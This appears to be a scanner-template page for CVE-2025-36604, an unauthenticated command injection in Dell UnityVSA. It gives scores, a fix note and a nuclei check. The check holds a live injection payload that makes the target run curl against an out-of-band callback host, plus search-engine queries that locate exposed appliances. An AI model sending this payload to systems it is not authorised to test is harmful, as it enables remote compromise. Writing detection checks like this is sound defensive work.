Dell UnityVSA < 5.5 - Remote Command Injection

criticalseverity

9.8CVSS score

69.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Dell Unity, version(s) 5.5 and prior, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability.

Impact

An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to arbitrary command execution.

Fix

Update to the latest version beyond 5.5.

How to confirm it

Send: GET {{BaseURL}}/misc/`curl${IFS}{{interactsh-url}}`/..;/index.html
Positive when: status_code == 200 and contains(body, "getUrlVars") and contains(content_type, "text/html") and contains(interactsh_protocol, "dns")

Run it with nuclei: nuclei -id CVE-2025-36604 -u <target>

The full check

id: CVE-2025-36604

info:
  name: Dell UnityVSA < 5.5 - Remote Command Injection
  author: DhiyaneshDK,watchtowr
  severity: critical
  description: |
    Dell Unity, version(s) 5.5 and prior, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability.
  impact: An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to arbitrary command execution.
  remediation: |
    Update to the latest version beyond 5.5.
  reference:
    - https://labs.watchtowr.com/its-never-simple-until-it-is-dell-unityvsa-pre-auth-command-injection-cve-2025-36604/
    - https://github.com/watchtowrlabs/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604/blob/main/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604.py
    - https://nvd.nist.gov/vuln/detail/CVE-2025-36604
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-36604
    epss-score: 0.69197
    epss-percentile: 0.9936
    cwe-id: CWE-78
    cpe: cpe:2.3:a:dell:unity_operating_environment:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Unisphere"
    fofa-query: title="Unisphere"
  tags: cve,cve2025,dell,unityvsa,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/misc/`curl${IFS}{{interactsh-url}}`/..;/index.html"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "getUrlVars")'
          - 'contains(content_type, "text/html")'
          - 'contains(interactsh_protocol, "dns")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from